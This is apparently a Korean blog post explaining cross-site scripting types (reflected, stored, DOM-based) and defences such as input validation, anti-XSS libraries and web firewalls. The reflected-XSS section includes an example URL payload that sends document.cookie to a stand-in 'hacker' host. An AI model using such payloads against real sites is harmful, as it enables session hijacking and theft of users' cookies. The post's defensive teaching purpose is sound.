본문 바로가기

security/취약점 분석

[웹 취약점] Cross-Site Scripting(XSS) 취약점의 정의 및 대응 방안1

1. XSS의 개념

XSS는 Cross-Site Scripting의 약어로, 공격자가 공격하려는 웹사이트에 스크립트를 삽입하여 사용자의 웹 브라우저에서 해당 코드가 실행되도록 하는 공격 기법이다. 따라서 사용자가 의도하지 않은 행동을 수행시키거나, 쿠키나 세션 토큰 등의 민감한 정보를 탈취하여 세션 하이재킹(Session Hijacking) 공격으로 악용될 수 있다.


2. XSS의 종류

  • Reflected XSS
  • Stored XSS
  • DOM XSS

그 외 Blind XSS이나 CSS XSS, Json XSS 등 파생된 여러 XSS도 존재한다.

 

2.1 Reflected XSS

Reflected XSS ©AhnLab

Stored XSS와 달리, 사용자에게 입력받은 값을 서버에서 되돌려 주는 곳에서 발행하는 반사형 공격 기법이다. 보통 GET 방식을 사용하는 URL 파라미터에 악성 스크립트를 삽입하여 서버에 저장하지 않고 즉각적으로 스크립트를 만드는 방식

 

일반적으로 공격자가 악성 스크립트와 함께 URL을 사용자에게 누르도록 유도하고, URL을 누른 사용자는 악성 스크립트가 실행됨에 따라 공격을 당하게 된다.

 

예시로, GET방식으로 검색 기능을 구현한 웹 애플리케이션에 XSS취약점이 존재하는 것을 확인한 공격자는 다음과 같이 검색인자로 작성한 스크립트를 URL과 함께 사용자에게 전송한다.

 

http://testweb?search=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>

 

 

2.2. Stored XSS

Stored XSS(Persistent XSS) ©AhnLab

Persistent XSS라고도 불리며, 사이트 게시판이나 댓글, 닉네임 등 스크립트가 서버에 저장되어 지속적으로 실행되는 방식이다. 이름에서 알 수 있듯이 대부분 자바스크립트를 사용하여 공격이 이뤄지며, SQL Injection과 같이 공격 기법이 비교적 단순하고 기초적이지만 많은 웹사이트가 XSS에 대한 방어 조치가 미비하기에 발생하다.

 

먼저 공격자가 웹 애플리케이션 상에서 XSS취약점이 있는 곳을 파악하고,

<script>악성 스크립트</script>

위와 같은 형식의 악성 스크립트를 삽입한다.

 

삽인된 악성 스크립트는 데이터베이스에 저장되고, 악성 스크립트가 저장된 게시글 등을 열함한 사용자들은 악성 스크립트가 작동함에 따라 쿠키나 세션 등의 민감 정보를 탈취항하거나 다른 웹사이트로 리다이렉션될 수도 있다.

 

2.3. Stored XSS

DOM based XSS ©AhnLab

Document Object Model기반 XSS를 줄여 DOM based XSS라고 한다.

 

악성 스크립트가 포함된 URL을 사용자가 요청하게 되어 브라우저를 해석하는 단계에서 발생하는 공격 기법이다. 악성 스크립트로 인해 클라이언트 측 코드가 원래 의도와는 다르게 실행된다. DOM based XSS는 기타 XSS 공격과는 달리, 서버 측에서 탐지가 어렵다.

 

위 그림을 살펴보면 공격자(Hacker)는 웹사이트의 URL과 함께 사용한 특수문자 # 이후의 값은 서버로 전송되지 않는 기능을 가지고 있다

DOM based XSS 2 ©AhnLab

사용자의 요청에 따라 HTML을 달리 해석하는 부분에 DOM based XSS 공격이 가능하다.

 


XSS 대응방안

[입출력 값 검증]

사용자가 입력한 값에 대한 검증과 사용자가 입력한 값을 그대로 출력할 때 검증이 필요하다. XSS Cheat Sheet에 대한 필터 목록을 만들어 모든 Cheat Sheet에 대한 대응이 가능하도록 해야 한다. XSS에 대한 필터링을 적용한 뒤 직접 테스트하여 스크립트가 실행되는지 모의해킹해보는 것도 좋은 방법이다.

 

PHP는 입력을 처리할 때, 정규식을 이용하는 preg_replace를 사용하거나, 노드를 이용하는 DOMDocument를 사용할 수 있다. 속도는 preg_replace가 더 빠르지만, 정규식의 경우 예외와 오류가 종종 발생하기 때문에 더 안전한 DOMDocument를 사용하는 것이 권장된다.

 

 

[XSS 방어 라이브러리, 브라우저 확장 앱 사용]

XSS를 막아주는 Anti XSS 라이브러리를 여러 회사에서 제공하는데 이 라이브러리를 사용하면 손쉽게 XSS를 방어할 수 있다. XSS 라이브러리를 사용하는 것은 서버 단에서 개발자가 추가하는 것이고, 사용자들이 각자 본인의 브라우저에서 악의적인 스크립트가 실행되지 않도록 방어하는 것 또한 중요하다. 모든 웹사이트가 안전하다는 보장이 없기 때문에 브라우저 확장 앱 중 Anti XSS 기능을 제공하는 애플리케이션을 설치하고 방어하는 것도 좋은 방법이다.

 

 

[웹 방화벽 사용]

웹 공격에 특화되어 있는 웹 방화벽은 XSS 공격 뿐만 아니라 각종 Injection 공격을 효과적으로 방어할 수 있다.